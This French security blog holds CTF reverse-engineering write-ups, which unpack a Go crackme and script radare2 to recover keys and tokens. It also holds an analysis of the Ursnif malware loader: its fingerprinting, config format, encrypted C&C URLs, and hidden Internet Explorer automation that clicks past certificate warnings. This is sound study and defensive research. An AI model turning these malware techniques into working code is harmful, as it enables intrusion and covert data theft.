\xe2\x9e\xf4m\xd5\xb7\xea\xcd\x8c ', 
b'\xb2\x11wuZ\xb7\xa5\xb1\xb6\x88\xe2~\x8b[]G\xcfV\x94\xd2\xfa\xb9\xfdN\xee\x9f\xa2\xe3mf\xc2\xd5\xa6\xc7\xf1g\xc9\xc1\xc3\xb3\xba\xdcAr/\xfc\x8c\x86\tM\x1f6\x93\xcee\xef\xae8\xd0\xaf\x0f\x14E\x057^F&\xe1\xa92*\x01\xc6|\xe7\xfb\x08\xa0\n_3\xd3\x18a\xd9k\xa7\x9c\xdfTC\x06\xb5\xf8L\x97\xb4\xdb\xcb\xe6\xd7\xf6\x9e\xfe$\x8f\x0bz\xdd0X+\xbcH=\x81\x7f\xb0J<\x07\xffOB-d\xa1:\x04\xf7\x84Y\x1e\x99?\xd8\xea\x8d\xecW\xbb)\xac\xf5!\xcdD%nx\xb8\xda\x13}5@\xe5y\xc8\xab\x19\xccqK\xc5j\xbd\xde\x02\x00\x90\xc4Q\xf4\xbeS\xf2\x91v9\xa3\xedI\'l\xeb\xc0#>{\x95\r\xa8"\xe8\x0e\xadP\x1c\x1b\x8e\\\xd4\x1d\x9b\xf0\x8a\x03o\xf9\xca\x1a\x16\x9a\xe4\x83\x89\xe0t\xf3\x85\xaa\x98\x92\xe9U1`\x10b\x12\xd6 i\x82ch\x874.\x9d\x96\xa4;\x17\xbfRs\x15(,\x0c\xd1\x80p', 
b'\x97\x00^\x1dn(\xe2\xcb;\xc6\xfb\xabcC/\xa9aI\x1f\x84\x14\xe8\x8c\xb8\x85Y\x933\x8a\xd9+\x08\xe1T\xed\xc15\xcf6p\x9f.\xaa\x18\x1b\'\xca\xce\xde\xb4!E$HP~\x13\xd2J\x91\xc8\xb7\xc7\t\xf2\x83F\xbf\xe6\x9c8\xd7\xb5\xc0\xbe-q\x03\xf8\xdc\xec\xac\x90\xcd\x1cZ\xd0A \xee\xa5\xa0r\x81\xb1\xd3t%\xa8\x04S\xd8\xe4\x07\\f)\x8b\xf7\x7f\xc4\x95m{\x98\xaf2O\xcc\x9e\xf4\x94M\xd4\xf3x\x05[\x8d\x06\xbc\xbb\xd6\xd1\rD\x1a\xfc\x96?\xdbQ\xe3]\xfa|z\x0bv@\x89\xf5\x029\x17\xdd\xeb\x9b7\xad\x82\xb9s\x16\xbd\nW\x0c>\xb6\xdf\x9d#\xa2\xb3,\xe9\xba\x10\xf6\xef\xda\xa6\xe7\x19LoB\x11ke\xa1\x88\xf0Kg\x99b&\x8e\xc3\xa7\x0f\xe5U=\xf91d\xae\xf1\xe0\x87\x9au"\xc2}h\xffj\x92\xa4GR<w\xeaV\xa3\x8f`y\x86\x15_0\xd5\x1e\xfe\x80\xfdX\xb0:\xc9\x0e\x12Ni\xc5l\x014\xb2*', 
b'AF6\x96@\xfc&\x86\x07,r\xa4\xccnE\xfe\x0b\xf6(\x14$`\x95\xc9\x05\x12\x9fc\x88\xdc\x04\xd3\x83\xe2Y\xa9B\x7fK!\xe6R\x9b\xecU\xaf\xd0o\xbe\xd5\xe0\xb1C\x81\x1e{\x03\xeb\x85\xb0I\xf8\xb9\xf2\xc6\xc4\xa6 \x8b\x80\xbd\xc7\xf4\x94\xd8/\xbb\xf9h\x113Z\x19k\xd9\x98\xb2\x08\xd6\x01\xcd\xdd\xdal;1\x17\xf7g\x1f?q\t=i\xe8ut-"\xf5\xa0\xc0Vm9\x8f\xc2\xadG\xe3\x9d\xe7\xee\xd7\x93\xca\xff\x1d\xcf^\xae:s\xf1TJe\xb7d\xedW\x0fN\xd2)\x9c\x18[w\x1a\xfd\x9a\xd1\x16\x99\xeaz\x91D\x9e}\xab\xd4\xf0\x13\x15\x82b\xaa\xb3X\'\\\xdf\xe9f\xcb<\xfaSj5\x0c\xfb\xdev\xa3\xb4\x1c\xc5\x92O\xef#\x8a\x00\x10MH\x8d\x0e\xc1_2\xbc\n\xce\x97\x84\xba\xbf\xc384\xe5*p\xb5\xb8aL\x1b\x8e\x89\x90~\xdb\xa7PQ\xc8\xac\xa8+\x02\xb6\xe1\xe4\x06\xa1.\x87\xf3>|70\x8c\xa2y\r\xa5%]x', 
b'N\xc8\x99\xb1=.\x7f\xb2\x14\xa57b\xc9\x0co\xb9\xda\x13\xe4w\xcb(\x9d<\xef\x93\xf4\xc0\xad6IJy\xe8#\xd7/\xfft1{3\xdc\x03\xdda\xf7We\xca\x92R\xbe\xac\xcc^\x07\x1c\x9b\x0b\xae\xe0\xc1\x97\x11\xcd9\x16E+\x01\xa9\x06gs\x17\xea"\x91\',\x9a\xafZC\xc2\xfb\x98;Mpz_n\x80\x12\x81u\xf8\xa0m\x9e\xe3\xd4\x02\x1a\xa6[\xa4\x8c\x1e\xee\x82G\x94\xf2f\xd0\x1b\xb6\xdb2\xdf:\x19Q~d\x04\x8f\x15}\t\x0e\xabSr8\\\xbb\xf9B\xa3j\x834\xf0\xe7\x8a\xd5\x90\xa1\xe6| \x86x\xfa\xb4\x96\x10h\n\xd6\xc5\x1fL\xce0A\xf3\xd8\x84\x1d\x0f\xb3l\xeb\x85\xf1\xbc\xd9\xe5\xba\xa7\xfek\x89\xde\xfd\x18\x8d\xb7\x9f\xc7@\xf5\xcf\xa2\xd2\rD\x8b\xc3*H\x8eV\xa8\xfcciYKO\xd1\x88$\xc4\xec\xf6X\xb0\xd3\xc6-\xed\xe1\x87\x08>q\xe9\x00!F\xb5\xbf&v?]\xe2\x9cT\xb8)\xbd5P`\x95%\x05U\xaa', 
b'\\8\xedG\x1b\xf3\x8f\xc6-;\xbb\x1f\xa5kl9\xf4\x1d\x95\xe0y{\xeb>u\x87\xf2\x92Z5\x0e\x13\xb5\xe8\xdd\xf86\x1e\x1cWmR\xbdxO\x0f:\xb4\xdf\n\xc1\x00C\xd4+j\x8d\xa3\x17\xb2\xf7\xa0\x9b)\xd6`\xdc\xea\xb8\x06\xad\xc4g\xfb\xd2<0]\xfc\xaa\xc5\x18PY*z\x8ct\xf6\x11o\xd7v\xb7|?\xab!\xff\x98\xd3\xa6\xc9\xcf\xae\x81\x85wq\r\x0c\xaf\x94\xa7"\xb0\x80K\xcc\'c=\x91\x03\x9a\x02D\xef\xf1\xec\xd8\x19Ea/\x96\xca\x89B\xc7\x15\x8aX_\x99\x0b\x103\xcdd\xce\xa4\xd5Hs4\x82\xfe\xe5\xcb,\xee\x90T7\x1ab\xe6\xbaQ\xe9\x05\x84\xb92\xdeV\x04(L\xfd@I\x97U\xa2n\xb1\xac\xa8\xf0#\xe2}A\x08\xb6\x7f\xc0\x86\xe3&\xf5\xe1\x16\x9f1iS\x8er\xb3\xa9\x14\xfa\xbf\xa1~h\xf9\t\xc2$\xc8\x93\xd1%Me\x83\xda\xbe\xe7J\x9d\xd9\x9e\x12\xdb[N\xbc\x07.fp\x8b \xc3\xd0\x9c\x01\x88F^\xe4', 
]

theflag = b'\xbc\xc0\n\xbc^\xf9\xb6\xd5\xc5\x08M\xb1U\t4\x95\x12\xceg\x08\xfb\x8a\xf1\xd2\x1a\xd8+d(\xc29r\xb4Bhz8#\xcf\x04\x904\x98\xe1\xe8\xb0\x0ci\x1d"\xb9a\x1f\x17*]\xe1\xff\\}1\xbe\x1ak\xd7\x1f\xa2C\x18\xab\xccW\xd0\x8d_\xccC,Ci\x96\xec\xcex\xa9\x06\xdd\x8e\x11\xa1\xfe\xca4\x0b\x90\xcb'

cipher = AES.new(key, AES.MODE_CBC, iv)
test = b"grouik"
enc = b""
for i in range(0, len(test)):
    idx = keytbl[i]
    enc += bytes([idx[test[i]]])
print(enc)
cipher = AES.new(key, AES.MODE_CBC, iv)
flag_enc = cipher.decrypt(theflag)[:-8]
print(len(flag_enc))

for i in range(len(flag_enc)):
  idx = i % len(keytbl)
  tbl = keytbl[idx]
  ch = bytes(tbl).find(flag_enc[i])
  print(chr(ch), end="")
print("")

Le flag est donc inctf{fly_m3_70_7h3_m00n_l37_m3_pl4y_4m0n6_7h3_574r5_4nd_l37_m3_533_wh47_5pr1n6_15_l1k3}.

That's all folks ! :þ

Write-UP AeroCTF 2020: Go away

2020-03-01T14:31:00+01:00

Ce writeup porte sur le challenge le plus difficile que j'ai fait sur le CTF (m'ayant occupé quelques heures pour le casser). A première vue, on a un binaire "obfusqué", qui fait des appels système à mmap et mprotect: on pense tout de suite à un packer, et il va donc falloir l'unpacker.

Unpacking du crackme

L'unpacking ne pose pas trop problème sous Linux lorsqu'on a l'habitude des packers de malware sous Windows, grand merci à radare2 et son mode visuel.

L'entrypoint du crackme ressemble donc à ceci:

            ;-- entry0:
            ;-- rip:
            0x0046cbe8      50             push rax
            0x0046cbe9      52             push rdx
            0x0046cbea      e8c8020000     call 0x46ceb7
            0x0046cbef      55             push rbp
            0x0046cbf0      53             push rbx
            0x0046cbf1      51             push rcx
            0x0046cbf2      52             push rdx
            0x0046cbf3      4801fe         add rsi, rdi
            0x0046cbf6      56             push rsi
            0x0046cbf7      4889fe         mov rsi, rdi
            0x0046cbfa      4889d7         mov rdi, rdx
            0x0046cbfd      31db           xor ebx, ebx
            0x0046cbff      31c9           xor ecx, ecx
            0x0046cc01      4883cdff       or rbp, 0xffffffffffffffff

On a un appel à une fonction 0x46ceb7, suivi d'une fonction visiblement de décompression, qui ressemble fortement à aplib ou une de ses variantes. On a donc:

┌ 6: fcn.0046ceb7 ();
│           0x0046ceb7      5d             pop rbp
└           0x0046ceb8      e840ffffff     call fcn.0046cdfd

suivi de

           ; CALL XREF from fcn.0046ceb7 @ 0x46ceb8
┌ 186: fcn.0046cdfd (int64_t arg_0h);
│           ; var int64_t var_bh @ rbp-0xb
│           ; var int64_t var_10h @ rsp+0x30
│           ; var int64_t var_8h @ rsp+0x38
│           ; arg int64_t arg_0h @ rsp+0x40
│           0x0046cdfd      5f             pop rdi                     ; /proc/self/exe
│           0x0046cdfe      29f6           sub esi, esi
│           0x0046ce00      6a02           push 2                      ; SYS_open
│           0x0046ce02      58             pop rax
│           0x0046ce03      0f05           syscall
│           0x0046ce05      50             push rax
│           0x0046ce06      488db70f0000.  lea rsi, [rdi + 0xf]
│           0x0046ce0d      ad             lodsd eax, dword [rsi]
│           0x0046ce0e      83e0fe         and eax, 0xfffffffe         ; 4294967294
[.. snip ..]
│           0x0046cea0      4190           xchg eax, r8d
│           0x0046cea2      4889f7         mov rdi, rsi
│           0x0046cea5      5e             pop rsi
│           0x0046cea6      ffd5           call rbp
│           0x0046cea8      59             pop rcx
│           0x0046cea9      5e             pop rsi
│           0x0046ceaa      5f             pop rdi
│           0x0046ceab      5d             pop rbp
│           0x0046ceac      6a05           push 5                      ; 5
│           0x0046ceae      5a             pop rdx
│           0x0046ceaf      6a0a           push 0xa                    ; 10
│           0x0046ceb1      58             pop rax
│           0x0046ceb2      0f05           syscall
└           0x0046ceb4      41ffe5         jmp r13

En debugguant dans les calls en mode visuel (F7), on voit des calculs d'alignement pour récupérer la taille du binaire à mapper et de la zone "anonymous" à créer. Puis, on a voit deux syscalls à mmap. Le premier sert à faire un mapping "anonymous" qui contiendra le code de décompression/mapping, puis un pour charger le binaire. On a ensuite un "call rbp" (qui appelle la fonction de décompression située en 0x0046cbef, avant de faire un mprotect sur la page allouée et sauter dessus.

Une fois le saut effectué, on atterrit ici:

            0x7fb3749e3ed0      e84a000000     call 0x7fb3749e3f1f
            0x7fb3749e3ed5      83f949         cmp ecx, 0x49           ; 73
        ┌─< 0x7fb3749e3ed8      7544           jne 0x7fb3749e3f1e
        │   0x7fb3749e3eda      53             push rbx
        │   0x7fb3749e3edb      57             push rdi

Même principe que tout à l'heure, on rentre dans le call (F7 en mode visuel), et on retombe sur une autre fonction qui effectue d'autres opérations, suivi d'un

            0x7fb3749e401e      41ff66f8       jmp qword [r14 - 8]

On peut raisonnablement penser qu'on approche de notre OEP, on positionne donc un breakpoint (F2), et on continue l'exécution (F9), avant de repasser en mode pas à pas.

On se retrouve ensuite avec

            ;-- rip:
            0x0048c48e      0f05           syscall
            0x0048c490      5a             pop rdx
            0x0048c491      c3             ret

et une fois arrivé au ret, on arrive enfin à l'OEP du binaire unpacké ! Il ne nous reste plus qu'à faire un dump du programme, en listant d'abord les sections avec "dm":

[0x0044fd80]> dm
0x0000000000400000 - 0x000000000048d000 * usr   564K s r-x unk0 unk0 ; map.home_supersnail_Documents_hack_lab_AeroCTF_goaway.r_x
0x000000000048d000 - 0x0000000000525000 - usr   608K s r-- unk1 unk1
0x0000000000525000 - 0x000000000055a000 - usr   212K s rw- unk2 unk2

On peut donc dump le binaire unpacké avec la commande wtf goaway.unpack 0x15a000 @0x400000, la taille du binaire étant de 0x55a000-0x400000.

En passant un coup de strings sur le crackme unpacké, on peut voir qu'il a été écrit en... Go, soit le début du cauchemar.

Reversing Go for fun and chocapicz

Malheureusement pour moi, le crackme était en Go: en effet, un runtime assez conséquent se retrouve embarqué dans les programmes Go, rendant difficile l'identification des fonctions "utiles" pour notre analyse du runtime. Néanmoins, le mécanisme de RTTI de Go nous permet malgré tout de nous en sortir, puisque le nom des fonctions (et visiblement des types de variables/arguments) est malgré tout préservé, ce qui nous facilite grandement la tâche.

Ma première tentative a été d'utiliser r2-gohelper, cependant le script ne renommait que quelques fonctions, le rendant complètement inutile. De plus, radare2 reste encore assez trop limité pour l'analyse statique, j'ai donc sorti mon bon vieux IDA Free, pour analyser la fonction "main.main" (une des rares identifiées par r2-gohelper).

Après une vaine tentative de comprendre tout le code du runtime, je finis par avoir la bonne idée de faire une recherche de strings dans IDA, qui trouve plein de noms de fonctions. N'ayant pas IDAPython (car édition Free, merci Ilfak \o/), je me lance donc dans la résolution manuelle des RTTI pour chaque fonction appelée:

J'arrive finalement à obtenir quelque chose ressemblant à ceci après quelques temps à tout renommer:

Un autre point difficile a été de comprendre la convention d'appel utilisée par Go. En effet, contrairement au C où un seul paramètre est retourné, Go, peut renvoyer plusieurs valeurs de retour, qui sont recopiées sur la stack frame de la fonction appelante. La pile ressemble donc à quelque chose comme ceci:

+-------------------+
|   sauvegarde ebp  |
+-------------------+
| adresse de retour |
+-------------------+
|    argument 1     |
|        ...        |
|    argument n     |
|     retour 1      |
|        ...        |
|     retour n      |
+-------------------+
|   vars locales    |
+-------------------+

Vient également le mécanisme de "slice" beaucoup utilisé par Go, qui n'est en réalité qu'une structure qui pourrait être définie comme ceci (en 64 bits):

struct slice {
   void *pointer;
   uint64_t size;
   uint64_t allocated_size;
}

Une fois ceci compris, on peut enfin étudier le fonctionnement du programme dans de bonnes conditions.

Algorithme du crackme

Le crackme commence par afficher le message de bienvenue, puis lire et stocker l'entrée utilisateur (via bufio.Reader.ReadString). Le crackme supprime ensuite le caractère "\n", avant de créer une HashMap.

Cette HashMap contient une table de "permutations", qui nous sera utile pour la suite. Puis, le crackme crée un tableau de slices, pointant vers une "chaîne" de 16 octets, qui ressemble curieusement à un hash. Puis après une vérification de la taille du flag (qui doit aussi être de 16 octets), on arrive à une première boucle sur les caractères du flag: pour chaque caractère, on calcule le hash MD5 du caractère.

Puis ensuite on récupère la valeur de permutation correspondant à l'index du caractère de la chaîne, et compare le hash md5 au slice dont l'index est la permutation:

En pseudocode "pythonisé", on obtiendrait quelque chose comme ceci:

slice = <le tableau de md5>
permutations = [0, 1, 2, 3, 1, 4, 5, 1, 6, 5, 1, 5, 7, 8, 7, 9]
for i in range(len(serial)):
   if md5(serial[i]) != slice[permutations[i]]
     print "Bad boy"
     exit(1)

print "Good boy"

Pour récupérer la clé, en théorie, il nous suffit donc de calculer le md5 chaque caractère de la table ASCII, et comparer son hash avec celui trouvé dans le programme. Mais comme toute solution théorique, ça ne fonctionne pas en pratique pour des raisons obscures...

Récupération de la clé et pwn du crackme

Ne comprenant pas ce qu'il se passe, j'ai fini par opter pour une solution plus radicale: exécuter l'implémentation de MD5 du binaire directement, en pilotant le debugger de radare2 via r2pipe depuis mon script python. Après quelques essais, je suis donc parvenu à réaliser le petit script suivant:

#!/usr/bin/python
import r2pipe
import hashlib
import binascii
import os

flag_md5_offsets = [0xb, 0x06, 0x0a, 0x0c, 0x7, 0x5, 0x9, 0x22, 0x8, 0x2]
hashes = []
alphabet_dict = {}

r2 = r2pipe.open("goaway.unpack")
r2.cmd("ood")
r2.cmd("db 0x48c10f")
r2.cmd("db 0x48b812")
r2.cmd("db 0x48c21e")
r2.cmd("db 0x48c223")
for i in range(0, 0x7f):
    r2.cmd("dc")
    r2.cmd("dr edx=%d" % i)
    r2.cmd("dr rip=0x%x" % 0x48c1ff)
    r2.cmd("dc")
    r2.cmd("s rsp+0x4f; wx 0x%x" % (i << 16 | 0x10))
    print(r2.cmd("dc"))
    md5 = binascii.hexlify(bytes(r2.cmdj("pxj 16 @rsp+0x18")))
    alphabet_dict[md5] = chr(i)
    r2.cmd("ood")

chars = []
for offset in flag_md5_offsets:
    addr = 0x4bf20c + (offset * 16)
    #print(hex(addr))
    nochr = binascii.hexlify(bytes(r2.cmdj("pxj 16 @0x%x" % addr)))
    hashes.append(nochr)
    chars.append(alphabet_dict[nochr])

subst = [0, 1, 2, 3, 1, 4, 5, 1, 6, 5, 1, 5, 7, 8, 7, 9]
toto = ""
for i in subst:
    toto += chars[i]

print(toto)

Le script nous donne directement le bon flag, "secretkeykeklol1". Néanmoins, le programme est capricieux, et lorsqu'on lui donne le bon flag, on obtient

hmmmm...... key is correct! But I changed my mind about printing you a flag
.....
Instead, I will display you a flag for the key 'testtesttesttest'
flag: <caractères non imprimables>

Le flag de validation est donc chiffré, et d'après notre travail de renommage chiffré en AES. La clé "testtesttesttest" encodée sous forme hexadécimale, est passée à la fonction main.ExampleNewCBCDecrypter (qui fait du AES CBC comme son nom l'indique, merci Captain Obvious). Comme on est en CTF, on va donc remplacer la clé à peine décodée par notre flag, puis continuer l'exécution via:

$ r2 -d ./goaway.unpack
 -- Everybody hates warnings. Mr. Pancake, tear down this -Wall
[0x0044fd80]> db 0x48b642
[0x0044fd80]> dc
Go away I will not give you a flag!
But if you guess the key I'll print you a flag....
guess: secretkeykeklol1
hmmmm...... key is correct! But I changed my mind about printing you a flag
.....
Instead, I will display you a flag for the key 'testtesttesttest'
flag: hit breakpoint at: 48b642
[0x0048b642]> w secretkeykeklol1 @rax
[0x0048b642]> dc
Aero{3475964bdbfe31fbb40d812fa2f88114765baf72fd7ef0a912c746312bbdc07b}
[0x0044fd9b]>

On a ainsi récupéré notre flag de validation (et je fus le 1er à valider ce challenge 😎)

Write-UP AeroCTF 2020: 1000 and 1 nights

2020-03-01T09:02:00+01:00

Suite à ma participation au CTF AeroCTF 2020, j'en profite pour faire un writeup sur un des challenges "simples", "1000 and 1 night".

Pour ce challenge, on récupère une archive comportant beaucoup de fichiers, dont le nom semble être un hash. Chaque fichier est fichier un programme ELF x86_64. De plus, un serveur écoute, et demande:

Enter valid token to binary with name <8c235f89a8143a28a1d6067e959dd858>
Token:

à la connexion. On comprend donc assez rapidement qu'il va falloir automatiser le reversing de tous ces ELF pour renvoyer le bon token au serveur, et ainsi avoir le flag, le serveur demandant une série de tokens avant de cracher le flag.

Fort heureusement pour nous, ces ELF ont une structure très similaire, et l'automatisation ne devrait pas être trop difficile (d'autant plus que les binaires ne sont pas strippés). La partie intéressante se trouve donc dans la fonction "sym.check" sous radare2:

            ; CALL XREF from main @ 0x1219
┌ 171: sym.check (void *arg1);
│           ; var void *s1 @ rbp-0x38
│           ; var void *s2 @ rbp-0x30
│           ; var int64_t var_28h @ rbp-0x28
│           ; var int64_t var_20h @ rbp-0x20
│           ; var int64_t var_18h @ rbp-0x18
│           ; var signed int64_t var_4h @ rbp-0x4
│           ; arg void *arg1 @ rdi
│           0x000012a4      55             push rbp
│           0x000012a5      4889e5         mov rbp, rsp
│           0x000012a8      4883ec40       sub rsp, 0x40
│           0x000012ac      48897dc8       mov qword [s1], rdi         ; arg1
│           0x000012b0      48b8110e5655.  movabs rax, 0xe57581255560e11
│           0x000012ba      48ba0e585544.  movabs rdx, 0x114758114455580e
│           0x000012c4      488945d0       mov qword [s2], rax
│           0x000012c8      488955d8       mov qword [var_28h], rdx
│           0x000012cc      48b80d131244.  movabs rax, 0x5614410e4412130d
│           0x000012d6      48ba470d5755.  movabs rdx, 0x430d424155570d47
│           0x000012e0      488945e0       mov qword [var_20h], rax
│           0x000012e4      488955e8       mov qword [var_18h], rdx
│           0x000012e8      c745fc000000.  mov dword [var_4h], 0
│       ┌─< 0x000012ef      eb2e           jmp 0x131f
│       │   ; CODE XREF from sym.check @ 0x1323
│      ┌──> 0x000012f1      8b45fc         mov eax, dword [var_4h]
│      ╎│   0x000012f4      4863d0         movsxd rdx, eax
│      ╎│   0x000012f7      488b45c8       mov rax, qword [s1]
│      ╎│   0x000012fb      4801d0         add rax, rdx
│      ╎│   0x000012fe      0fb600         movzx eax, byte [rax]
│      ╎│   0x00001301      83c00a         add eax, 0xa
│      ╎│   0x00001304      83f022         xor eax, 0x22
│      ╎│   0x00001307      8d48f5         lea ecx, [rax - 0xb]
│      ╎│   0x0000130a      8b45fc         mov eax, dword [var_4h]
│      ╎│   0x0000130d      4863d0         movsxd rdx, eax
│      ╎│   0x00001310      488b45c8       mov rax, qword [s1]
│      ╎│   0x00001314      4801d0         add rax, rdx
│      ╎│   0x00001317      89ca           mov edx, ecx
│      ╎│   0x00001319      8810           mov byte [rax], dl
│      ╎│   0x0000131b      8345fc01       add dword [var_4h], 1
│      ╎│   ; CODE XREF from sym.check @ 0x12ef
│      ╎└─> 0x0000131f      837dfc1f       cmp dword [var_4h], 0x1f
│      └──< 0x00001323      7ecc           jle 0x12f1
│           0x00001325      488d4dd0       lea rcx, [s2]
│           0x00001329      488b45c8       mov rax, qword [s1]
│           0x0000132d      ba20000000     mov edx, 0x20               ; "@" ; size_t n
│           0x00001332      4889ce         mov rsi, rcx                ; const void *s2
│           0x00001335      4889c7         mov rdi, rax                ; const void *s1
│           0x00001338      e833fdffff     call sym.imp.memcmp         ; int memcmp(const void *s1, const void *s2, size_t n)
│           0x0000133d      85c0           test eax, eax
│       ┌─< 0x0000133f      7407           je 0x1348
│       │   0x00001341      b800000000     mov eax, 0
│      ┌──< 0x00001346      eb05           jmp 0x134d
│      ││   ; CODE XREF from sym.check @ 0x133f
│      │└─> 0x00001348      b801000000     mov eax, 1
│      │    ; CODE XREF from sym.check @ 0x1346
│      └──> 0x0000134d      c9             leave
└           0x0000134e      c3             ret

On peut voir que le crackme remplit un buffer avec 4 qwords (le "token" chiffré), avant de récupérer le serial saisi par l'utilisateur, et effectuer des calculs dessus avant de le comparer avec le premier buffer.

L'algorithme de chiffrement de l'input est donc pour chaque octet:

out[i] = ((serial[i] + 0xa) ^ 0x22) - 0xb

Tous les exécutables ont le même algorithme, seuls les paramètres, c'est-à-dire le buffer, et les constantes 0xa, 0x22 et 0xb changent pour chaque binaire. Il nous suffit donc de sortir python et r2pipe pour extraire ces valeurs et communiquer avec le serveur, ce qui donne le python ci-dessous (les binaires sont placés dans un sous-dossier "files"):

#!/usr/bin/python

import r2pipe
import sys
import struct
import pexpect
import socket

buf = b""

def get_tok(file):
    r2 = r2pipe.open("files/" + file)
    # Extraction du buffer
    buf = struct.pack("<Q", r2.cmdj("pdj 1 @0x000012b0")[0]["val"])
    buf += struct.pack("<Q", r2.cmdj("pdj 1 @0x000012ba")[0]["val"])
    buf += struct.pack("<Q", r2.cmdj("pdj 1 @0x000012cc")[0]["val"])
    buf += struct.pack("<Q", r2.cmdj("pdj 1 @0x000012d6")[0]["val"])

    # Extraction des params de chiffrement
    add_operand = r2.cmdj("pdj 1 @0x00001301")[0]["val"]
    xor_operand = r2.cmdj("pdj 1 @0x00001304")[0]["val"]
    final_sub = r2.cmdj("pdj 1 @0x00001307")[0]["esil"].split(",")[0]
    final_sub = int(final_sub[2:], 16)

    out = []
    for i in buf:
        out.append(((final_sub + i) ^ xor_operand) - add_operand)

    return "".join([chr(x) for x in out])

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("tasks.aeroctf.com", 44324))
toto = sock.makefile()
while True:
    line = toto.readline()
    print(line)
    if line.find("Enter valid token") > -1:
        name = line[line.find("<")+1:-2]
        token = get_tok(name)
        sock.send(bytes(token + "\n", "ascii"))

La seule partie "compliquée" ici étant d'extraire la bonne valeur du "lea ecx, [rax - 0xb]", où je me suis basé sur l'évaluation ESIL faite par radare2 pour récupérer la bonne valeur. Enfin, dernière subtilité, le serveur renvoie une séquence ANSI de reset du terminal après avoir envoyé le flag, il a donc fallu rediriger la sortie vers un fichier, pour obtenir le flag.

That's all folks ! :þ

Ursnif: analyse du loader (partie 2)

2020-02-22T15:26:00+01:00

Cet article fait suite à mon précédent article, et concernera l'analyse du dernier binaire extrait. Ce fichier se présente (encore) sous la forme d'une DLL. La DLL fait ses initialisations habituelles (création d'un objet Event pour notifier le bot lorsque la DLL est en train d'être déchargée, détection de la version de Windows et ouverture d'un handle sur son propre process).

Initialisation

Comme la fois précédente, on retrouve la section .bss chiffrée avec le même algorithme, mais ici, le déchiffrement est directement fait au lancement du bot et non au travers d'un Vectored Exception Handler, comme on peut le voir:

Un paramètre GetTickCount() & 0x1e est en plus rajouté à la clé, et le bot boucle tant que le déchiffrement n'est pas valide, c'est-à-dire tant que ce paramètre est différent de 0. Une fois la section .bss déchiffrée, le bot vérifie s'il tourne sur une machine 64bits ou 32bits, avant de passer la main à la fonction principale.

Fingerprinting de la machine

Une fois dans la fonction principale, le bot commence par récupérer le numéro de version de Windows en lisant les champs adéquats dans l'en-tête PE de ntdll.dll:

Le bot récupère ensuite le SID de l'utilisateur ayant lancé le process, et calcul la somme des sub-authorities.

Si le checksum est nul (c'est-à-dire qu'on a aucune sous-autorité, ce qui veut vraisemblablement dire que le bot est lancé depuis un compte système), alors la date d'installation du système récupérée depuis le registre est utilisée à la place.

La valeur ainsi récupérée va être xorée avec une constante pour former la "graine" qui servira à construire l'identificateur du bot, après avoir créé une structure de contexte qui stockera les informations du bot. Une fois cet identificateur généré, le bot va lire sa configuration avant de passer de communiquer avec son C&C.

Extraction de la configuration

Le bot commence tout d'abord par extraire ce qui ressemble à une clé RSA via le mécanisme de "ressources" vu dans l'article précédent (dont l'identifiant est 0xE1285E64). Puis, le bot extrait sa configuration depuis une "resource" d'identifiant 0x8FB1DDE1. Cette configuration a un format différent du système de ressources (ce ne serait pas amusant sinon), dont le pseudocode donnerait quelque chose du genre:

typedef struct {
    DWORD dwTag;
    DWORD dwFlags;
    DWORD dwRelativeOffset; /* offset relatif au début de l'entrée */
    DWORD dwUnused[3];
} BOT_CONFIG_ENTRY;

typedef struct {
    DWORD dwNumEntries;
    DWORD dwUnused;
    BOT_CONFIG_ENTRY entries[1];
} BOT_CONFIG;

char *ExtractConfig (BOT_CONFIG *pCfg, DWORD dwTag)
{
    BOT_CONFIG_ENTRY *pEntry;
    int i;
    pEntry = &pCfg->entries[0];
    for(i = 0; i < pCfg->dwNumEntries; i++)
    {
        if(pEntry->dwTag == dwTag)
        {
            return (char*)pEntry + pEntry->dwRelativeOffset;
        }
        i++;
        pEntry++;
    }
}

Une liste des identifiants de configuration se trouve dans le tableau ci-dessous:

Identifiant	Utilité
11271C7F	1er timer
48295783	2ème timer
584E5925	3ème timer
656B798A	ID du bot
556AED8F	ID du serveur
4FA8693E	Clé de chiffrement
D0665BF6	Liste d'URLs du loader

Une fois les éléments de sa configuration extraits, le bot va enfin contacter son C&C.

Communication avec le C&C

Après avoir créé son premier timer dont le délai d'attente est récupéré depuis la configuration, le malware va modifier la date du dernier lancement d'Internet Explorer, ainsi que désactiver la vérification du navigateur au démarrage. Comme nous le verrons ultérieurement, la communication avec le C&C se fait en pilotant Internet Explorer grâce à COM, ce qui est assez original pour être souligné.

Mais d'abord, regardons ce que le bot envoie:

Le bot transmet donc un paramètre "soft", sa version, l'identifiant de la machine générée précédemment dans le paramètre "user", un identifiant (probablement de botnet), ainsi qu'un paramètre "crc" indiquant le numéro de la requête faite au C&C (nous reviendrons sur ce point plus tard). Une fois ceci fait, l'URL va être transformée selon l'algorithme suivant:

Un paramètre aléatoire est préfixé à la query string
La chaîne générée est chiffrée avec l'algorithme "Serpent" en mode CBC
Le résultat est encodé en base64, puis les caractères "/" sont remplacés par "_" et les "=" à la fin sont supprimés grâce à la fonction StrTrimA
Des caractères "/" sont ajoutés aléatoirement dans le résultat
L'URL du C&C suivi de "/images/" est préfixée, et l'extension ".avi" est ajoutée pour construire l'URL finale

La requête sera donc envoyée au serveur en passant par ce bon vieux Internet Explorer. Le bot récupère d'abord une instance d'un objet InternetExplorer.Application, avant de récupérer les interfaces IWebBrowser et IWebBrower2, avant de cacher la fenêtre d'Internet Explorer.

Une fois l'objet IE et ses interfaces récupérés, le bot peut désormais envoyer sa requête au C&C:

Une fois la page chargée, le bot invoque la méthode get_Document de IWebBrowser, récupère l'interface IHTMLDocument2 et invoquer la méthode get_URL pour récupérer l'URL sur laquelle on atterit. Le bot vérifie ensuite si la chaîne "invalidcert" se trouve dans l'URL récupérée (ce qui signifie que la page a été redirigée vers res://ieframe.dll/invalidcert.htm). Si c'est le cas appelle une autre fonction (appelée "NavigateNext" dans l'IDB) afin de "cliquer" sur le lien permettant la connexion HTTPS avec un certificat invalide.

Une fois la bonne page chargée, le bot récupère le contenu de la page HTML reçue. Malheureusement, les C&C étant décédés au moment de leur analyse (paix à leur âme :'(), j'ai dû poursuivre l'analyse en me basant sur le .pcap enregistré par any.run lors de son analyse. En l'analysant, j'ai pu observer 2 connexions au C&C qui répond avec du contenu en base64.

